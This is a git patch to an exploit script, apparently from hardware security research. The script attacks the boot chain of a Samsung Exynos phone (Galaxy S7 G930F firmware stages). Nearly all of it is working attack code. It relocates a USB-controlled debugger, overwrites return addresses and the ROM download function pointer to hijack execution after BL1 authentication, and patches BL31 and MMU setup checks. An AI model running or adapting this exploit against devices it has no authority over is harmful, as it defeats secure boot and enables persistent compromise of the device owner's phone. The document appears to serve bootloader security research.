From 66621d36d72d56a5e80fb5549d44077898fc5125 Mon Sep 17 00:00:00 2001 From: Jonathan Herrewijnen Date: Wed, 4 Sep 2024 14:16:26 +0200 Subject: [PATCH] Add descriptions to commit and cleanup --- source/exploit/exploit.py | 94 +++++++++++++++++++++------------------ 1 file changed, 50 insertions(+), 44 deletions(-) diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index 238a1e1..1a4b0c8 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -628,23 +628,29 @@ class ExynosDevice(): """ Boot into USB recovery mode using the debugger. """ + # Setup initial debugger self.setup_guppy_debugger() - self.cd.arch_dbg.state.auto_sync = False self.cd.arch_dbg.state.auto_sync_special = False logger.debug('State after setting up initial debugger') self.cd.arch_dbg.state.print_ctx() - DEBUGGER_ADDR = 0x2069000 # 0x2069000 - # Relocate to other debugger + # # Relocate to other debugger to 02048000 (after BL31, space in 0x020c0000 is no longer reachable -> dying debugger) debugger = open("../../dump/reloc_debugger_0x2048000.bin", "rb").read() self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000) DEBUGGER_ADDR = 0x02048000 - ### Overwrite boot_usb_ra to our debugger + # # # Relocate to other debugger to 020c0000 + # debugger = open("../../dump/reloc_debugger.bin", "rb").read() + # self.relocate_debugger(debugger) + # DEBUGGER_ADDR = 0x020c0000 + + # Test debugger connection self.cd.test_connection() + # ==== BL1 ==== + ### Overwrite boot_usb_ra to our debugger hijacked_usb_ra = self.cd.memdump_region(0x02020f60, 8) self.cd.memwrite_region(0x02020f60, p64(DEBUGGER_ADDR)) @@ -652,11 +658,13 @@ class ExynosDevice(): BOOT_USB_FUNCTION = 0x000064e0 self.cd.arch_dbg.state.LR = DEBUGGER_ADDR self.cd.restore_stack_and_jump(BOOT_USB_FUNCTION) + + # Wait for device return (happens after each download) time.sleep(1) self.connect_device() - # Setup jump and authentication - AUTH_BL1 = 0x00012848 + # Setup jump and bl_auth + AUTH_BL1 = 0x00012848 # Location of the authentication function def auth_bl1(lr=0x2069000): # Load the firmware self.cd.arch_dbg.state.X0 = 1 @@ -666,7 +674,8 @@ class ExynosDevice(): assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" ### Check if authentication was successful - X0 should not be 0?? # assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" - + + # Jump into BL1 (sboot.bin.1.bin) JUMP_BL1 = 0x000002c0 def jump_bl1(lr): self.cd.arch_dbg.state.LR = lr @@ -676,89 +685,86 @@ class ExynosDevice(): self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" - # BL1 is loaded, now authenticat and patch it + # BL1 is loaded, now authenticate and patch it auth_bl1(DEBUGGER_ADDR) - self.usb_write(b"FLSH") # Flush cache + self.usb_write(b"FLSH") # Flush cache (Frederic does this..) + # Hijack ROM download function hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4)) - self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31 self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br")) + + # And jump into BL1 to execute it jump_bl1(DEBUGGER_ADDR) # ==== BL31 ==== + # Assure that the debugger is still alive assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" - self.get_ttbr0_el3() + # Functions to check ttbr0 (should be trash until after executing BL31) + # self.get_ttbr0_el3() # Should be trash, as the # self.check_mem_write_execute(0x020c0000) - # Download next stage via ROM_DOWNLOAD_USB + # Get current LR, and store it. Then set LR to debugger. lr = self.cd.arch_dbg.state.LR self.cd.arch_dbg.state.LR = DEBUGGER_ADDR - self.cd.restore_stack_and_jump(hijacked_fun) # will jump back to debugger after downloading the next stage + self.cd.restore_stack_and_jump(hijacked_fun) # will jump back to debugger after downloading the next stage (before executing it) + + # After downloading the next stage, make sure the device reconnects time.sleep(2) self.connect_device() self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()) time.sleep(2) + # Assure that the debugger is returning (obligatory assuration) self.usb_read(0x200) # GiAs # lr = self.cd.arch_dbg.state.LR - # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # Resore oginal boot flow - - self.get_ttbr0_el3() + # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to resotre oginal boot flow, without getting back to the debugger + # Set LR to continue boot flow self.cd.restore_stack_and_jump(lr) + # Assure return to debugger time.sleep(2) self.usb_read(0x200) # GiAs self.cd.memwrite_region(0x02031008, b"ELH") - - # trampoline = self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br") # Keep LR - # self.cd.memwrite_region(0x02024020, trampoline) - # ====== PATCHES TO BL31 here! ====== - - # Relocate to other debugger + # Relocate to other debugger (For after BL31, but we need a good space!) # debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read() # self.relocate_debugger(debugger=debugger, entry=0x14AC0000, storage=0x14AC3000, g_data_received=0x14AC4000) # DEBUGGER_ADDR = 0x14AC0000 - # Jump BL31 self.cd.arch_dbg.state.LR = DEBUGGER_ADDR # self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR)) # self.cd.restore_stack_and_jump(hijacked_fun) - # Write 0's to 0x11600 - # Inspect TTBR0_EL3 table - TTBR0_EL3 = 0x02035600 # Zeroed - - # Overwrite 02028b0c from 5f5820f8 to d503201f -> Doesn't seem to be doing anything - # self.cd.memwrite_region(0x02028b0c, struct.pack('>I', 0xd503201f)) - # Same at 02028b8c - # self.cd.memwrite_region(0x02028b8c, struct.pack('>I', 0xd503201f)) + TTBR0_EL3 = 0x02035600 # Zeroed out - # Modifies setting up MMU (but is set up eventually) + # Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?) # self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always false - # self.cd.memwrite_region(0x020244fc, b'\00'*8) # Change check to always false + # Write jump backs from BL31 at different levels + # self.cd.memwrite_region(0x02030a28, p64(DEBUGGER_ADDR)) + + # Overwrite jump back at 0202f810 + # self.cd.memwrite_region(0x0202f818, struct.pack('>I', 0xfa610091)) + + # Jump into BL31 and execute it self.cd.restore_stack_and_jump(0x02024010) + # Obligatory reconnect and check of debugger time.sleep(2) self.connect_device() - self.usb_read(0x200) # GiAs - regs = self.cd.arch_dbg.fetch_special_regs() - # print status of MMU - print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (1=enabled, 0=disabled)') + # self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (??). Only with relocated debugger. + VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3 + + # Print status of MMU + print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)') BL31_ra = self.cd.arch_dbg.state.LR - # Relocate debugger back to the start of the stack - # debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read() - # self.relocate_debugger(debugger=debugger, entry=0x14ac3000, storage=0x14ac4200, g_data_received=0x14ac4400) - # DEBUGGER_ADDR = 0x14ac3000 - # Again restore bootflow self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) self.cd.restore_stack_and_jump(hijacked_fun) @@ -770,17 +776,17 @@ class ExynosDevice(): time.sleep(2) self.connect_device() - # ==== Stage 4 ==== stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read() + # Patching - # stage4_len = len(stage4) # patch_len = len(b"USB RECOVERY MODE") # patch = b"ELHER HERE" + (b"\x00" * (patch_len - len(b"ELHER HERE"))) # patch_offset = stage4.find(b"USB RECOVERY MODE") # stage4 = stage4[:patch_offset] + patch + stage4[patch_len + patch_offset:] # assert len(stage4) == stage4_len, "Invalid stage4 length" + self.send_normal_stage(stage4) time.sleep(2)